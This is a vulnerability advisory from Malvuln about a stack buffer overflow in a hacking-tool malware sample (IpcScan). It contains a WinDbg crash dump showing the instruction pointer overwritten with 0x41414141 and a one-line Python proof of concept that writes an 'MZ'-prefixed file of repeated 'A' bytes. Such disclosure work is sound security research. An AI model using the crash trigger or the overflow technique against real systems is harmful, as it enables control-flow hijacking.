Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/8f44374d587eb1657d25da9628cb2b87.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: HackTool.Win32.IpcScan.c Vulnerability: Local Stack Buffer Overflow Description: Loading a specially crafted PE file will cause a stack buffer overflow overwriting the ECX and EIP registers. Family: IpcScan Type: PE32 MD5: 8f44374d587eb1657d25da9628cb2b87 Vuln ID: MVID-2022-0549 Disclosure: 04/14/2022 Memory Dump: (d60.c9c): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=77729d70 esi=00000000 edi=00000000 eip=41414141 esp=000a13f0 ebp=000a1410 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246 41414141 ?? ??? 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for HackTool.Win32.IpcScan.c.8f44374d587eb1657d25da9628cb2b87.exe *** ERROR: Module load completed but symbols could not be loaded for HackTool.Win32.IpcScan.c.8f44374d587eb1657d25da9628cb2b87.exe Matched: 744f0021 msvcrt!ReadString (void) Matched: 744f4491 msvcrt!ReadString (void) Matched: 744faf90 msvcrt!ReadString (void) Matched: 744fbf79 msvcrt!ReadString (void) Matched: 744ffe60 msvcrt!ReadString (void) Matched: 745010d1 msvcrt!ReadString (void) Matched: 7450e2b4 msvcrt!ReadString (void) Matched: 7450f52e msvcrt!ReadString (void) Matched: 745119d4 msvcrt!ReadString (void) Matched: 74512d75 msvcrt!ReadString (void) FAULTING_IP: msvcrt!ReadString+12f 7450e3e3 8801 mov byte ptr [ecx],al EXCEPTION_RECORD: 0019ec24 -- (.exr 0x19ec24) ExceptionAddress: 7450e3e3 (msvcrt!ReadString+0x0000012f) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 001a0000 Attempt to write to address 001a0000 PROCESS_NAME: HackTool.Win32.IpcScan.c.8f44374d587eb1657d25da9628cb2b87.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000008 EXCEPTION_PARAMETER2: 41414141 WRITE_ADDRESS: 41414141 FOLLOWUP_IP: +12f 41414141 ?? ??? FAILED_INSTRUCTION_ADDRESS: +12f 41414141 ?? ??? MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 IP_ON_HEAP: 41414141 The fault address in not in any loaded module, please check your build's rebase log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 41414141 CONTEXT: 0019ec74 -- (.cxr 0x19ec74) eax=00000041 ebx=00000020 ecx=001a0000 edx=0019f18c esi=0019f15c edi=0019f180 eip=7450e3e3 esp=0019f0d4 ebp=0019f0f8 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246 msvcrt!ReadString+0x12f: 7450e3e3 8801 mov byte ptr [ecx],al ds:002b:001a0000=41 Resetting default scope ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD] LAST_CONTROL_TRANSFER: from 7450f0b8 to 7450e3e3 FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 STACK_TEXT: 0019f0d4 7450e3e3 msvcrt!ReadString+0x12f 0019f100 7450f0b8 msvcrt!_input_l+0xab8 0019f310 745030e0 msvcrt!vfscanf+0xe0 0019f358 74502fcb msvcrt!fscanf+0x1b 0019f374 00402b98 hacktool_win32_ipcscan_c+0x2b98 0019f380 0019f394 unknown!unknown+0x0 STACK_COMMAND: .cxr 000000000019EC74 ; kb ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds 19f0d4 ; kb SYMBOL_NAME: msvcrt!ReadString FOLLOWUP_NAME: MachineOwner MODULE_NAME: msvcrt IMAGE_NAME: msvcrt.dll DEBUG_FLR_IMAGE_TIMESTAMP: 692918b7 FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_msvcrt.dll!ReadString BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_msvcrt!ReadString Exploit/PoC: python -c "print('MZ'+'A'*10000)" > DOOM.exe Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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